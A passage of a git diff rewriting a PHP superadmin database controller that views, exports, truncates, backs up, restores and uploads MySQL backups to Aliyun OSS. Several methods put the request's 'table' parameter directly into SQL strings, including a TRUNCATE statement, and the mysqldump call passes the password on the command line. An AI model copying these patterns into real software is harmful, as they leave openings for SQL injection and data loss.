?? 'localhost'; - $port = $config['hostport'] ?? 3306; - $database = $config['database'] ?? ''; - $username = $config['username'] ?? ''; - $password = $config['password'] ?? ''; - - // 创建备份目录 - $backupDir = root_path() . 'runtime/backup/'; - if (!is_dir($backupDir)) { - mkdir($backupDir, 0755, true); - } - - $filename = 'backup_' . $database . '_' . date('YmdHis') . '.sql'; - $filepath = $backupDir . $filename; - - // 优先使用PHP方式备份(更可靠) - $this->backupDatabase($database, $filepath); - - // 如果文件不存在或为空,尝试使用mysqldump - if (!file_exists($filepath) || filesize($filepath) == 0) { - $mysqldumpPath = $this->findMysqldump(); - - if ($mysqldumpPath) { - // 使用mysqldump命令 - $command = sprintf( - '"%s" -h%s -P%s -u%s -p%s %s > "%s" 2>&1', - $mysqldumpPath, - escapeshellarg($host), - escapeshellarg($port), - escapeshellarg($username), - escapeshellarg($password), - escapeshellarg($database), - escapeshellarg($filepath) - ); - - exec($command, $output, $returnVar); - - if ($returnVar !== 0) { - throw new \Exception('mysqldump执行失败: ' . implode("\n", $output)); - } - } - } - - // 获取文件大小 - $fileSize = filesize($filepath); - - // 上传到OSS - $ossUrl = null; - $ossPath = null; - try { - $ossResult = $this->uploadBackupToOss($filepath, $filename); - if ($ossResult) { - $ossUrl = $ossResult['url']; - $ossPath = $ossResult['path']; - } - } catch (\Exception $e) { - // OSS上传失败不影响备份成功,只记录错误 - Log::error('备份文件上传OSS失败:' . $e->getMessage()); - } - - // 记录备份信息 - $this->saveBackupRecord($filename, $filepath, $fileSize, $ossUrl, $ossPath); - - return success([ - 'filename' => $filename, - 'filepath' => $filepath, - 'size' => $fileSize, - 'time' => date('Y-m-d H:i:s'), - 'ossUrl' => $ossUrl, - 'ossPath' => $ossPath, - 'downloadUrl' => '/api/v1/superadmin/database/download?file=' . urlencode($filename) - ], '备份成功' . ($ossUrl ? ',已上传到OSS' : '')); - } catch (\Exception $e) { - return error('备份失败:' . $e->getMessage(), 500); - } - } - - /** - * 获取备份记录列表 - * @return \think\response\Json - */ - public function backups() - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - try { - // 从数据库读取备份记录 - $records = BackupRecordModel::order('createdAt', 'desc')->select()->toArray(); - - $backups = []; - foreach ($records as $record) { - $backups[] = [ - 'id' => $record['id'], - 'filename' => $record['filename'], - 'time' => date('Y-m-d\TH:i:s', $record['createdAt']), - 'size' => intval($record['fileSize']), - 'status' => $record['status'] ?? 'success', - 'ossUrl' => $record['ossUrl'] ?? null, - 'ossPath' => $record['ossPath'] ?? null, - 'filepath' => $record['filepath'] ?? null - ]; - } - - return success($backups); - } catch (\Exception $e) { - return error('获取备份记录失败:' . $e->getMessage(), 500); - } - } - - /** - * 删除备份记录(软删除) - * @return \think\response\Json - */ - public function delete() - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - // 支持从路由参数或请求参数获取ID - $id = Request::param('id', 0) ?: Request::route('id', 0); - - if (empty($id)) { - return error('记录ID不能为空', 400); - } - - try { - $record = BackupRecordModel::find($id); - - if (!$record) { - return error('备份记录不存在', 404); - } - - // 软删除(ThinkPHP的SoftDelete会自动设置deletedAt) - $record->delete(); - - return success(null, '备份记录已删除'); - } catch (\Exception $e) { - return error('删除失败:' . $e->getMessage(), 500); - } - } - - /** - * 下载备份文件 - */ - public function download() - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $filename = Request::param('file', ''); - - if (empty($filename)) { - return error('文件名不能为空', 400); - } - - // 安全检查:只允许下载备份目录下的文件 - $backupDir = root_path() . 'runtime/backup/'; - $filepath = realpath($backupDir . $filename); - - if (!$filepath || strpos($filepath, realpath($backupDir)) !== 0) { - return error('文件不存在', 404); - } - - if (!file_exists($filepath)) { - return error('文件不存在', 404); - } - - // 下载文件 - header('Content-Type: application/octet-stream'); - header('Content-Disposition: attachment; filename="' . $filename . '"'); - header('Content-Length: ' . filesize($filepath)); - readfile($filepath); - exit; - } - - /** - * 恢复数据库 - * @return \think\response\Json - */ - public function restore() - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $filename = Request::param('file', ''); - - if (empty($filename)) { - return error('文件名不能为空', 400); - } - - try { - $backupDir = root_path() . 'runtime/backup/'; - $filepath = realpath($backupDir . $filename); - - if (!$filepath || strpos($filepath, realpath($backupDir)) !== 0) { - return error('文件不存在', 404); - } - - if (!file_exists($filepath)) { - return error('文件不存在', 404); - } - - $config = Config::get('database.connections.mysql'); - $host = $config['hostname'] ?? 'localhost'; - $port = $config['hostport'] ?? 3306; - $database = $config['database'] ?? ''; - $username = $config['username'] ?? ''; - $password = $config['password'] ?? ''; - - // 使用PHP方式恢复 - $this->restoreDatabase($filepath); - - return success(null, '数据库恢复成功'); - } catch (\Exception $e) { - return error('恢复失败:' . $e->getMessage(), 500); - } - } - - /** - * 获取数据库大小 - */ - private function getDatabaseSize($database) - { - try { - $result = Db::query("SELECT - ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) AS size_mb - FROM information_schema.tables - WHERE table_schema = '{$database}'"); - - return floatval($result[0]['size_mb'] ?? 0); - } catch (\Exception $e) { - return 0; - } - } - - /** - * 获取表数量 - */ - private function getTableCount($database) - { - try { - $result = Db::query("SELECT COUNT(*) as count FROM information_schema.tables WHERE table_schema = '{$database}'"); - return intval($result[0]['count'] ?? 0); - } catch (\Exception $e) { - return 0; - } - } - - /** - * 导出表到SQL文件 - */ - private function exportTableToSql($tableName, $filepath) - { - $fp = fopen($filepath, 'w'); - - // 写入表结构 - $createTable = Db::query("SHOW CREATE TABLE `{$tableName}`"); - fwrite($fp, "-- 表结构: {$tableName}\n"); - fwrite($fp, "DROP TABLE IF EXISTS `{$tableName}`;\n"); - fwrite($fp, $createTable[0]['Create Table'] . ";\n\n"); - - // 写入数据 - $data = Db::query("SELECT * FROM `{$tableName}`"); - if (!empty($data)) { - fwrite($fp, "-- 表数据: {$tableName}\n"); - foreach ($data as $row) { - $values = []; - foreach ($row as $value) { - $values[] = is_null($value) ? 'NULL' : "'" . addslashes($value) . "'"; - } - fwrite($fp, "INSERT INTO `{$tableName}` VALUES (" . implode(', ', $values) . ");\n"); - } - } - - fclose($fp); - } - - /** - * 备份数据库(PHP方式) - */ - private function backupDatabase($database, $filepath) - { - $fp = fopen($filepath, 'w'); - - // 写入文件头 - fwrite($fp, "-- MySQL数据库备份\n"); - fwrite($fp, "-- 数据库: {$database}\n"); - fwrite($fp, "-- 备份时间: " . date('Y-m-d H:i:s') . "\n"); - fwrite($fp, "SET NAMES utf8mb4;\n"); - fwrite($fp, "SET FOREIGN_KEY_CHECKS = 0;\n\n"); - - // 获取所有表 - $tables = Db::query("SHOW TABLES FROM `{$database}`"); - $tableKey = 'Tables_in_' . $database; - - foreach ($tables as $table) { - $tableName = $table[$tableKey]; - - // 写入表结构 - $createTable = Db::query("SHOW CREATE TABLE `{$tableName}`"); - if (!empty($createTable)) { - fwrite($fp, "-- ----------------------------\n"); - fwrite($fp, "-- Table structure for {$tableName}\n"); - fwrite($fp, "-- ----------------------------\n"); - fwrite($fp, "DROP TABLE IF EXISTS `{$tableName}`;\n"); - fwrite($fp, $createTable[0]['Create Table'] . ";\n\n"); - - // 写入数据 - $data = Db::query("SELECT * FROM `{$tableName}`"); - if (!empty($data)) { - fwrite($fp, "-- ----------------------------\n"); - fwrite($fp, "-- Records of {$tableName}\n"); - fwrite($fp, "-- ----------------------------\n"); - - foreach ($data as $row) { - $columns = []; - $values = []; - foreach ($row as $col => $val) { - $columns[] = "`{$col}`"; - $values[] = is_null($val) ? 'NULL' : "'" . addslashes($val) . "'"; - } - fwrite($fp, "INSERT INTO `{$tableName}` (" . implode(', ', $columns) . ") VALUES (" . implode(', ', $values) . ");\n"); - } - fwrite($fp, "\n"); - } - } - } - - fwrite($fp, "SET FOREIGN_KEY_CHECKS = 1;\n"); - fclose($fp); - } - - /** - * 恢复数据库(PHP方式) - */ - private function restoreDatabase($filepath) - { - $sql = file_get_contents($filepath); - - // 分割SQL语句 - $statements = array_filter(array_map('trim', explode(';', $sql))); - - foreach ($statements as $statement) { - if (!empty($statement)) { - Db::execute($statement); - } - } - } - - /** - * 查找mysqldump路径 - */ - private function findMysqldump() - { - $paths = [ - '/usr/bin/mysqldump', - '/usr/local/bin/mysqldump', - 'C:\\mysql\\bin\\mysqldump.exe', - 'C:\\xampp\\mysql\\bin\\mysqldump.exe', - 'mysqldump' - ]; - - foreach ($paths as $path) { - if (is_executable($path) || shell_exec("which {$path}")) { - return $path; - } - } - - return null; - } - - /** - * 查找mysql路径 - */ - private function findMysql() - { - $paths = [ - '/usr/bin/mysql', - '/usr/local/bin/mysql', - 'C:\\mysql\\bin\\mysql.exe', - 'C:\\xampp\\mysql\\bin\\mysql.exe', - 'mysql' - ]; - - foreach ($paths as $path) { - if (is_executable($path) || shell_exec("which {$path}")) { - return $path; - } - } - - return null; - } - - /** - * 上传备份文件到OSS - * @param string $filepath 本地文件路径 - * @param string $filename 文件名 - * @return array|null 返回OSS URL和路径,失败返回null - */ - private function uploadBackupToOss($filepath, $filename) - { - if (!class_exists('\OSS\OssClient')) { - throw new \RuntimeException('未安装 Aliyun OSS SDK,请先执行:composer require aliyuncs/oss-sdk-php'); - } - - // 读取OSS配置 - $uploadConfig = Config::get('upload.oss'); - - $accessKeyId = $uploadConfig['access_key_id'] ?? ''; - $accessKeySecret = $uploadConfig['access_key_secret'] ?? ''; - $endpoint = $uploadConfig['endpoint'] ?? ''; - $bucket = $uploadConfig['bucket'] ?? ''; - $baseUrl = rtrim($uploadConfig['url'] ?? '', '/'); - - // 如果配置为空,尝试从环境变量读取 - if (empty($accessKeyId)) { - $accessKeyId = getenv('OSS_ACCESS_KEY_ID') ?: getenv('ALIYUN_ACCESS_KEY_ID') ?: env('OSS_ACCESS_KEY_ID', env('ALIYUN_ACCESS_KEY_ID', '')); - } - if (empty($accessKeySecret)) { - $accessKeySecret = getenv('OSS_ACCESS_KEY_SECRET') ?: getenv('ALIYUN_OSS_ACCESS_KEY_SECRET') ?: env('OSS_ACCESS_KEY_SECRET', env('ALIYUN_OSS_ACCESS_KEY_SECRET', '')); - } - if (empty($endpoint)) { - $endpoint = getenv('OSS_ENDPOINT') ?: getenv('ALIYUN_OSS_ENDPOINT') ?: env('OSS_ENDPOINT', env('ALIYUN_OSS_ENDPOINT', '')); - } - if (empty($bucket)) { - $bucket = getenv('OSS_BUCKET') ?: getenv('ALIYUN_OSS_BUCKET') ?: env('OSS_BUCKET', env('ALIYUN_OSS_BUCKET', '')); - } - if (empty($baseUrl)) { - $baseUrl = rtrim(getenv('OSS_URL') ?: getenv('ALIYUN_OSS_URL') ?: env('OSS_URL', env('ALIYUN_OSS_URL', '')), '/'); - } - - // 检查配置是否完整 - if (empty($accessKeyId) || empty($accessKeySecret) || empty($endpoint) || empty($bucket) || empty($baseUrl)) { - throw new \RuntimeException('OSS配置不完整,无法上传备份文件'); - } - - // 构建OSS对象路径(不使用OSS_PREFIX,直接使用backup目录) - // 格式:backup/2026/02/12/backup_mbti_20260212160100.sql - $datePath = date('Y/m/d'); - $object = 'backup/' . $datePath . '/' . $filename; - - try { - // 创建OSS客户端 - $client = new \OSS\OssClient($accessKeyId, $accessKeySecret, $endpoint); - - // 验证Bucket是否存在 - if (!$client->doesBucketExist($bucket)) { - throw new \RuntimeException("OSS Bucket '{$bucket}' 不存在或无法访问"); - } - - // 上传文件 - $client->uploadFile($bucket, $object, $filepath); - - // 生成访问URL - $url = $baseUrl . '/' . ltrim($object, '/'); - - return [ - 'url' => $url, - 'path' => $object - ]; - } catch (\OSS\Core\OssException $e) { - throw new \RuntimeException('OSS上传失败:' . $e->getMessage()); - } - } - - /** - * 保存备份记录 - */ - private function saveBackupRecord($filename, $filepath, $fileSize, $ossUrl = null, $ossPath = null) - { - try { - BackupRecordModel::create([ - 'filename' => $filename, - 'filepath' => $filepath, - 'fileSize' => $fileSize, - 'ossUrl' => $ossUrl, - 'ossPath' => $ossPath, - 'status' => 'success' - ]); - } catch (\Exception $e) { - // 记录保存失败不影响备份成功,只记录日志 - Log::error('保存备份记录失败:' . $e->getMessage()); - } - } -} - +request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + // 获取数据库配置 + $config = Config::get('database.connections.mysql'); + $database = $config['database'] ?? ''; + + // 获取数据库大小 + $dbSize = $this->getDatabaseSize($database); + + // 获取表数量 + $tableCount = $this->getTableCount($database); + + // 获取连接状态 + try { + Db::query('SELECT 1'); + $connected = true; + } catch (\Exception $e) { + $connected = false; + } + + return success([ + 'databaseType' => 'MySQL', + 'databaseName' => $database, + 'connected' => $connected, + 'databaseSize' => $dbSize, + 'tableCount' => $tableCount + ]); + } catch (\Exception $e) { + return error('获取数据库信息失败:' . $e->getMessage(), 500); + } + } + + /** + * 获取表列表 + * @return \think\response\Json + */ + public function tables() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + $config = Config::get('database.connections.mysql'); + $database = $config['database'] ?? ''; + $prefix = $config['prefix'] ?? 'mbti_'; + + // 获取所有表 + $tables = Db::query("SHOW TABLE STATUS FROM `{$database}`"); + + $result = []; + foreach ($tables as $table) { + $tableName = $table['Name']; + + // 只显示带前缀的表(或者所有表) + if (empty($prefix) || strpos($tableName, $prefix) === 0) { + // 获取记录数 + $rowCount = Db::query("SELECT COUNT(*) as count FROM `{$tableName}`")[0]['count'] ?? 0; + + // 获取索引数 + $indexes = Db::query("SHOW INDEX FROM `{$tableName}`"); + $indexCount = count(array_unique(array_column($indexes, 'Key_name'))); + + $result[] = [ + 'name' => $tableName, + 'docCount' => intval($rowCount), + 'size' => intval($table['Data_length'] + $table['Index_length']), + 'indexCount' => $indexCount, + 'engine' => $table['Engine'] ?? '', + 'collation' => $table['Collation'] ?? '' + ]; + } + } + + return success($result); + } catch (\Exception $e) { + return error('获取表列表失败:' . $e->getMessage(), 500); + } + } + + /** + * 查看表数据 + * @return \think\response\Json + */ + public function viewTable() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $tableName = Request::param('table', ''); + $page = Request::param('page', 1); + $pageSize = Request::param('pageSize', 20); + + if (empty($tableName)) { + return error('表名不能为空', 400); + } + + try { + // 验证表是否存在 + $config = Config::get('database.connections.mysql'); + $database = $config['database'] ?? ''; + $tables = Db::query("SHOW TABLES FROM `{$database}` LIKE '{$tableName}'"); + + if (empty($tables)) { + return error('表不存在', 404); + } + + // 获取表结构 + $columns = Db::query("SHOW COLUMNS FROM `{$tableName}`"); + + // 获取数据 + $total = Db::name(str_replace($config['prefix'] ?? 'mbti_', '', $tableName))->count(); + $list = Db::name(str_replace($config['prefix'] ?? 'mbti_', '', $tableName)) + ->page($page, $pageSize) + ->select() + ->toArray(); + + return success([ + 'columns' => $columns, + 'list' => $list, + 'total' => $total, + 'page' => $page, + 'pageSize' => $pageSize + ]); + } catch (\Exception $e) { + return error('查看表数据失败:' . $e->getMessage(), 500); + } + } + + /** + * 导出表数据 + * @return \think\response\Json + */ + public function exportTable() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $tableName = Request::param('table', ''); + + if (empty($tableName)) { + return error('表名不能为空', 400); + } + + try { + // 生成SQL导出文件 + $backupDir = root_path() . 'runtime/backup/'; + if (!is_dir($backupDir)) { + mkdir($backupDir, 0755, true); + } + + $filename = $tableName . '_' . date('YmdHis') . '.sql'; + $filepath = $backupDir . $filename; + + $this->exportTableToSql($tableName, $filepath); + + return success([ + 'filename' => $filename, + 'filepath' => $filepath, + 'downloadUrl' => '/api/v1/superadmin/database/download?file=' . urlencode($filename) + ], '导出成功'); + } catch (\Exception $e) { + return error('导出表数据失败:' . $e->getMessage(), 500); + } + } + + /** + * 清空表数据 + * @return \think\response\Json + */ + public function clearTable() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $tableName = Request::param('table', ''); + + if (empty($tableName)) { + return error('表名不能为空', 400); + } + + try { + // 验证表是否存在 + $config = Config::get('database.connections.mysql'); + $database = $config['database'] ?? ''; + $tables = Db::query("SHOW TABLES FROM `{$database}` LIKE '{$tableName}'"); + + if (empty($tables)) { + return error('表不存在', 404); + } + + // 清空表 + Db::execute("TRUNCATE TABLE `{$tableName}`"); + + return success(null, '表数据已清空'); + } catch (\Exception $e) { + return error('清空表数据失败:' . $e->getMessage(), 500); + } + } + + /** + * 备份数据库 + * @return \think\response\Json + */ + public function backup() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + $config = Config::get('database.connections.mysql'); + $host = $config['hostname'] ?? 'localhost'; + $port = $config['hostport'] ?? 3306; + $database = $config['database'] ?? ''; + $username = $config['username'] ?? ''; + $password = $config['password'] ?? ''; + + // 创建备份目录 + $backupDir = root_path() . 'runtime/backup/'; + if (!is_dir($backupDir)) { + mkdir($backupDir, 0755, true); + } + + $filename = 'backup_' . $database . '_' . date('YmdHis') . '.sql'; + $filepath = $backupDir . $filename; + + // 优先使用PHP方式备份(更可靠) + $this->backupDatabase($database, $filepath); + + // 如果文件不存在或为空,尝试使用mysqldump + if (!file_exists($filepath) || filesize($filepath) == 0) { + $mysqldumpPath = $this->findMysqldump(); + + if ($mysqldumpPath) { + // 使用mysqldump命令 + $command = sprintf( + '"%s" -h%s -P%s -u%s -p%s %s > "%s" 2>&1', + $mysqldumpPath, + escapeshellarg($host), + escapeshellarg($port), + escapeshellarg($username), + escapeshellarg($password), + escapeshellarg($database), + escapeshellarg($filepath) + ); + + exec($command, $output, $returnVar); + + if ($returnVar !== 0) { + throw new \Exception('mysqldump执行失败: ' . implode("\n", $output)); + } + } + } + + // 获取文件大小 + $fileSize = filesize($filepath); + + // 上传到OSS + $ossUrl = null; + $ossPath = null; + try { + $ossResult = $this->uploadBackupToOss($filepath, $filename); + if ($ossResult) { + $ossUrl = $ossResult['url']; + $ossPath = $ossResult['path']; + } + } catch (\Exception $e) { + // OSS上传失败不影响备份成功,只记录错误 + Log::error('备份文件上传OSS失败:' . $e->getMessage()); + } + + // 记录备份信息 + $this->saveBackupRecord($filename, $filepath, $fileSize, $ossUrl, $ossPath); + + return success([ + 'filename' => $filename, + 'filepath' => $filepath, + 'size' => $fileSize, + 'time' => date('Y-m-d H:i:s'), + 'ossUrl' => $ossUrl, + 'ossPath' => $ossPath, + 'downloadUrl' => '/api/v1/superadmin/database/download?file=' . urlencode($filename) + ], '备份成功' . ($ossUrl ? ',已上传到OSS' : '')); + } catch (\Exception $e) { + return error('备份失败:' . $e->getMessage(), 500); + } + } + + /** + * 获取备份记录列表 + * @return \think\response\Json + */ + public function backups() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + // 从数据库读取备份记录 + $records = BackupRecordModel::order('createdAt', 'desc')->select()->toArray(); + + $backups = []; + foreach ($records as $record) { + $backups[] = [ + 'id' => $record['id'], + 'filename' => $record['filename'], + 'time' => date('Y-m-d\TH:i:s', $record['createdAt']), + 'size' => intval($record['fileSize']), + 'status' => $record['status'] ?? 'success', + 'ossUrl' => $record['ossUrl'] ?? null, + 'ossPath' => $record['ossPath'] ?? null, + 'filepath' => $record['filepath'] ?? null + ]; + } + + return success($backups); + } catch (\Exception $e) { + return error('获取备份记录失败:' . $e->getMessage(), 500); + } + } + + /** + * 删除备份记录(软删除) + * @return \think\response\Json + */ + public function delete() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + // 支持从路由参数或请求参数获取ID + $id = Request::param('id', 0) ?: Request::route('id', 0); + + if (empty($id)) { + return error('记录ID不能为空', 400); + } + + try { + $record = BackupRecordModel::find($id); + + if (!$record) { + return error('备份记录不存在', 404); + } + + // 软删除(ThinkPHP的SoftDelete会自动设置deletedAt) + $record->delete(); + + return success(null, '备份记录已删除'); + } catch (\Exception $e) { + return error('删除失败:' . $e->getMessage(), 500); + } + } + + /** + * 下载备份文件 + */ + public function download() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $filename = Request::param('file', ''); + + if (empty($filename)) { + return error('文件名不能为空', 400); + } + + // 安全检查:只允许下载备份目录下的文件 + $backupDir = root_path() . 'runtime/backup/'; + $filepath = realpath($backupDir . $filename); + + if (!$filepath || strpos($filepath, realpath($backupDir)) !== 0) { + return error('文件不存在', 404); + } + + if (!file_exists($filepath)) { + return error('文件不存在', 404); + } + + // 下载文件 + header('Content-Type: application/octet-stream'); + header('Content-Disposition: attachment; filename="' . $filename . '"'); + header('Content-Length: ' . filesize($filepath)); + readfile($filepath); + exit; + } + + /** + * 恢复数据库 + * @return \think\response\Json + */ + public function restore() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $filename = Request::param('file', ''); + + if (empty($filename)) { + return error('文件名不能为空', 400); + } + + try { + $backupDir = root_path() . 'runtime/backup/'; + $filepath = realpath($backupDir . $filename); + + if (!$filepath || strpos($filepath, realpath($backupDir)) !== 0) { + return error('文件不存在', 404); + } + + if (!file_exists($filepath)) { + return error('文件不存在', 404); + } + + $config = Config::get('database.connections.mysql'); + $host = $config['hostname'] ?? 'localhost'; + $port = $config['hostport'] ?? 3306; + $database = $config['database'] ?? ''; + $username = $config['username'] ?? ''; + $password = $config['password'] ?? ''; + + // 使用PHP方式恢复 + $this->restoreDatabase($filepath); + + return success(null, '数据库恢复成功'); + } catch (\Exception $e) { + return error('恢复失败:' . $e->getMessage(), 500); + } + } + + /** + * 获取数据库大小 + */ + private function getDatabaseSize($database) + { + try { + $result = Db::query("SELECT + ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) AS size_mb + FROM information_schema.tables + WHERE table_schema = '{$database}'"); + + return floatval($result[0]['size_mb'] ?? 0); + } catch (\Exception $e) { + return 0; + } + } + + /** + * 获取表数量 + */ + private function getTableCount($database) + { + try { + $result = Db::query("SELECT COUNT(*) as count FROM information_schema.tables WHERE table_schema = '{$database}'"); + return intval($result[0]['count'] ?? 0); + } catch (\Exception $e) { + return 0; + } + } + + /** + * 导出表到SQL文件 + */ + private function exportTableToSql($tableName, $filepath) + { + $fp = fopen($filepath, 'w'); + + // 写入表结构 + $createTable = Db::query("SHOW CREATE TABLE `{$tableName}`"); + fwrite($fp, "-- 表结构: {$tableName}\n"); + fwrite($fp, "DROP TABLE IF EXISTS `{$tableName}`;\n"); + fwrite($fp, $createTable[0]['Create Table'] . ";\n\n"); + + // 写入数据 + $data = Db::query("SELECT * FROM `{$tableName}`"); + if (!empty($data)) { + fwrite($fp, "-- 表数据: {$tableName}\n"); + foreach ($data as $row) { + $values = []; + foreach ($row as $value) { + $values[] = is_null($value) ? 'NULL' : "'" . addslashes($value) . "'"; + } + fwrite($fp, "INSERT INTO `{$tableName}` VALUES (" . implode(', ', $values) . ");\n"); + } + } + + fclose($fp); + } + + /** + * 备份数据库(PHP方式) + */ + private function backupDatabase($database, $filepath) + { + $fp = fopen($filepath, 'w'); + + // 写入文件头 + fwrite($fp, "-- MySQL数据库备份\n"); + fwrite($fp, "-- 数据库: {$database}\n"); + fwrite($fp, "-- 备份时间: " . date('Y-m-d H:i:s') . "\n"); + fwrite($fp, "SET NAMES utf8mb4;\n"); + fwrite($fp, "SET FOREIGN_KEY_CHECKS = 0;\n\n"); + + // 获取所有表 + $tables = Db::query("SHOW TABLES FROM `{$database}`"); + $tableKey = 'Tables_in_' . $database; + + foreach ($tables as $table) { + $tableName = $table[$tableKey]; + + // 写入表结构 + $createTable = Db::query("SHOW CREATE TABLE `{$tableName}`"); + if (!empty($createTable)) { + fwrite($fp, "-- ----------------------------\n"); + fwrite($fp, "-- Table structure for {$tableName}\n"); + fwrite($fp, "-- ----------------------------\n"); + fwrite($fp, "DROP TABLE IF EXISTS `{$tableName}`;\n"); + fwrite($fp, $createTable[0]['Create Table'] . ";\n\n"); + + // 写入数据 + $data = Db::query("SELECT * FROM `{$tableName}`"); + if (!empty($data)) { + fwrite($fp, "-- ----------------------------\n"); + fwrite($fp, "-- Records of {$tableName}\n"); + fwrite($fp, "-- ----------------------------\n"); + + foreach ($data as $row) { + $columns = []; + $values = []; + foreach ($row as $col => $val) { + $columns[] = "`{$col}`"; + $values[] = is_null($val) ? 'NULL' : "'" . addslashes($val) . "'"; + } + fwrite($fp, "INSERT INTO `{$tableName}` (" . implode(', ', $columns) . ") VALUES (" . implode(', ', $values) . ");\n"); + } + fwrite($fp, "\n"); + } + } + } + + fwrite($fp, "SET FOREIGN_KEY_CHECKS = 1;\n"); + fclose($fp); + } + + /** + * 恢复数据库(PHP方式) + */ + private function restoreDatabase($filepath) + { + $sql = file_get_contents($filepath); + + // 分割SQL语句 + $statements = array_filter(array_map('trim', explode(';', $sql))); + + foreach ($statements as $statement) { + if (!empty($statement)) { + Db::execute($statement); + } + } + } + + /** + * 查找mysqldump路径 + */ + private function findMysqldump() + { + $paths = [ + '/usr/bin/mysqldump', + '/usr/local/bin/mysqldump', + 'C:\\mysql\\bin\\mysqldump.exe', + 'C:\\xampp\\mysql\\bin\\mysqldump.exe', + 'mysqldump' + ]; + + foreach ($paths as $path) { + if (is_executable($path) || shell_exec("which {$path}")) { + return $path; + } + } + + return null; + } + + /** + * 查找mysql路径 + */ + private function findMysql() + { + $paths = [ + '/usr/bin/mysql', + '/usr/local/bin/mysql', + 'C:\\mysql\\bin\\mysql.exe', + 'C:\\xampp\\mysql\\bin\\mysql.exe', + 'mysql' + ]; + + foreach ($paths as $path) { + if (is_executable($path) || shell_exec("which {$path}")) { + return $path; + } + } + + return null; + } + + /** + * 上传备份文件到OSS + * @param string $filepath 本地文件路径 + * @param string $filename 文件名 + * @return array|null 返回OSS URL和路径,失败返回null + */ + private function uploadBackupToOss($filepath, $filename) + { + if (!class_exists('\OSS\OssClient')) { + throw new \RuntimeException('未安装 Aliyun OSS SDK,请先执行:composer require aliyuncs/oss-sdk-php'); + } + + // 读取OSS配置 + $uploadConfig = Config::get('upload.oss'); + + $accessKeyId = $uploadConfig['access_key_id'] ?? ''; + $accessKeySecret = $uploadConfig['access_key_secret'] ?? ''; + $endpoint = $uploadConfig['endpoint'] ?? ''; + $bucket = $uploadConfig['bucket'] ?? ''; + $baseUrl = rtrim($uploadConfig['url'] ?? '', '/'); + + // 如果配置为空,尝试从环境变量读取 + if (empty($accessKeyId)) { + $accessKeyId = getenv('OSS_ACCESS_KEY_ID') ?: getenv('ALIYUN_ACCESS_KEY_ID') ?: env('OSS_ACCESS_KEY_ID', env('ALIYUN_ACCESS_KEY_ID', '')); + } + if (empty($accessKeySecret)) { + $accessKeySecret = getenv('OSS_ACCESS_KEY_SECRET') ?: getenv('ALIYUN_OSS_ACCESS_KEY_SECRET') ?: env('OSS_ACCESS_KEY_SECRET', env('ALIYUN_OSS_ACCESS_KEY_SECRET', '')); + } + if (empty($endpoint)) { + $endpoint = getenv('OSS_ENDPOINT') ?: getenv('ALIYUN_OSS_ENDPOINT') ?: env('OSS_ENDPOINT', env('ALIYUN_OSS_ENDPOINT', '')); + } + if (empty($bucket)) { + $bucket = getenv('OSS_BUCKET') ?: getenv('ALIYUN_OSS_BUCKET') ?: env('OSS_BUCKET', env('ALIYUN_OSS_BUCKET', '')); + } + if (empty($baseUrl)) { + $baseUrl = rtrim(getenv('OSS_URL') ?: getenv('ALIYUN_OSS_URL') ?: env('OSS_URL', env('ALIYUN_OSS_URL', '')), '/'); + } + + // 检查配置是否完整 + if (empty($accessKeyId) || empty($accessKeySecret) || empty($endpoint) || empty($bucket) || empty($baseUrl)) { + throw new \RuntimeException('OSS配置不完整,无法上传备份文件'); + } + + // 构建OSS对象路径(不使用OSS_PREFIX,直接使用backup目录) + // 格式:backup/2026/02/12/backup_mbti_20260212160100.sql + $datePath = date('Y/m/d'); + $object = 'backup/' . $datePath . '/' . $filename; + + try { + // 创建OSS客户端 + $client = new \OSS\OssClient($accessKeyId, $accessKeySecret, $endpoint); + + // 验证Bucket是否存在 + if (!$client->doesBucketExist($bucket)) { + throw new \RuntimeException("OSS Bucket '{$bucket}' 不存在或无法访问"); + } + + // 上传文件 + $client->uploadFile($bucket, $object, $filepath); + + // 生成访问URL + $url = $baseUrl . '/' . ltrim($object, '/'); + + return [ + 'url' => $url, + 'path' => $object + ]; + } catch (\OSS\Core\OssException $e) { + throw new \RuntimeException('OSS上传失败:' . $e->getMessage()); + } + } + + /** + * 保存备份记录 + */ + private function saveBackupRecord($filename, $filepath, $fileSize, $ossUrl = null, $ossPath = null) + { + try { + BackupRecordModel::create([ + 'filename' => $filename, + 'filepath' => $filepath, + 'fileSize' => $fileSize, + 'ossUrl' => $ossUrl, + 'ossPath' => $ossPath, + 'status' => 'success' + ]); + } catch (\Exception $e) { + // 记录保存失败不影响备份成功,只记录日志 + Log::error('保存备份记录失败:' . $e->getMessage()); + } + } +} + diff --git a/api/app/controller/superadmin/Distribution.php b/api/app/controller/superadmin/Distribution.php index 